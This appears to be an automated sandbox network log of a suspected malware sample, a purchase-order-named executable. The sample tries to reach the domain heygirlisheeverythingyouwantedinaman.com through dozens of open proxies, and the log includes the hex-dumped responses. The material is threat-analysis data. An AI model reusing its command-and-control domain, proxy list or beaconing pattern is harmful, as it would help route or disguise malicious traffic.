1532	192.168.2.10	54521	117.160.250.163	8828	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.998298883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989162922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.448081017 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:39:53 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.10	53968	91.134.140.160	5401	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.000139952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489248991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176781893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489233017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.785963058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.176635027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.473689079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.989058971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.988769054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.10	54626	47.100.236.23	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.063587904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.426269054 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 36 31 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313861"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.10	50749	165.16.67.238	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.063975096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.207767963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.301811934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411010981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.331248045 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.10	54787	52.13.248.29	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.065335989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.330130100 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:52 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.10	53904	176.113.157.149	37417	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.066257954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.10	53919	146.59.18.246	9755	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.066314936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.10	54739	41.231.37.76	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.066411018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.10	54755	8.217.95.44	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.066420078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.10	54576	122.114.232.137	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.080411911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.10	54742	219.243.212.118	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.080570936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.407418966 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.10	54666	94.177.106.178	2324	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.080612898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.433413982 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.10	54652	159.148.146.65	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.080641985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.10	54705	208.109.14.49	50540	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.080881119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.801719904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.909845114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098695040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382301092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.708038092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.110271931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.709810972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.10	54588	129.205.138.174	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.081840038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.10	54710	27.76.193.213	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.083182096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.10	51031	164.92.237.188	52395	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.088234901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.207901001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.301872969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411041021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.504431963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.10	54000	171.244.140.160	62310	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.088239908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.207869053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.301810026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411036015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.10	53979	36.134.25.72	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.088776112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.207870960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.301829100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411036015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.504450083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.224406958 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:20.612045050 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.10	54850	185.162.230.201	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.100450039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.259216070 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
